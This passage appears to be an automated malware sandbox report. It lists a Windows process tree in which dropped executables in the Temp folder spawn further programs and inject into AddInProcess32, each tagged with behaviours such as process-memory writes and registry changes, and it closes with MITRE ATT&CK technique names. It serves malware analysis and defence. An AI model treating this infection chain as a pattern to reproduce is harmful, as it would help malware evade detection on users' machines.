C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4252
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4308
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4224
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:1804
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6060
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5724
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5452
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6052
-
C:\Users\Admin\AppData\Local\Temp\77B1.exeC:\Users\Admin\AppData\Local\Temp\77B1.exe1⤵
- Executes dropped EXE
PID:5984 -
C:\Users\Admin\AppData\Roaming\IrfanViewStreamer\IVStreamer.exeC:\Users\Admin\AppData\Roaming\IrfanViewStreamer\IVStreamer.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Modifies registry class
PID:6060
-
-
C:\Users\Admin\AppData\Local\Temp\7E79.exeC:\Users\Admin\AppData\Local\Temp\7E79.exe1⤵
- Executes dropped EXE
PID:4268
-
C:\Users\Admin\AppData\Local\Temp\80CB.exeC:\Users\Admin\AppData\Local\Temp\80CB.exe1⤵
- Executes dropped EXE
PID:6104
-
C:\Users\Admin\AppData\Local\Temp\8B1D.exeC:\Users\Admin\AppData\Local\Temp\8B1D.exe1⤵
- Executes dropped EXE
PID:4112 -
C:\Users\Admin\AppData\Roaming\RegWorkshop\RegWorkshop.exeC:\Users\Admin\AppData\Roaming\RegWorkshop\RegWorkshop.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4488
-
-
C:\Users\Admin\AppData\Local\Temp\9000.exeC:\Users\Admin\AppData\Local\Temp\9000.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5368 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe2⤵PID:4868
-
-
C:\Users\Admin\AppData\Local\Temp\94A5.exeC:\Users\Admin\AppData\Local\Temp\94A5.exe1⤵PID:4616
-
C:\Users\Admin\AppData\Local\Temp\97B3.exeC:\Users\Admin\AppData\Local\Temp\97B3.exe1⤵
- Executes dropped EXE
PID:5640
-
C:\Users\Admin\AppData\Local\Temp\9E8A.exeC:\Users\Admin\AppData\Local\Temp\9E8A.exe1⤵
- Executes dropped EXE
- Modifies registry class
PID:4444 -
C:\Users\Admin\AppData\Local\Temp\1171344888.exe"C:\Users\Admin\AppData\Local\Temp\1171344888.exe"2⤵
- Executes dropped EXE
PID:5052
-
-
C:\Users\Admin\AppData\Local\Temp\397771211.exe"C:\Users\Admin\AppData\Local\Temp\397771211.exe"2⤵
- Executes dropped EXE
PID:5972
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5904
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4836
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
PID:3860
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:6076
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:4224
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4128
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:4700
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2104
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:5404
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4540
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5020
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:1588
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4404
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:4536
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4664
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5176
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
BITS Jobs
1Install Root Certificate
1Modify Registry
3Web Service
1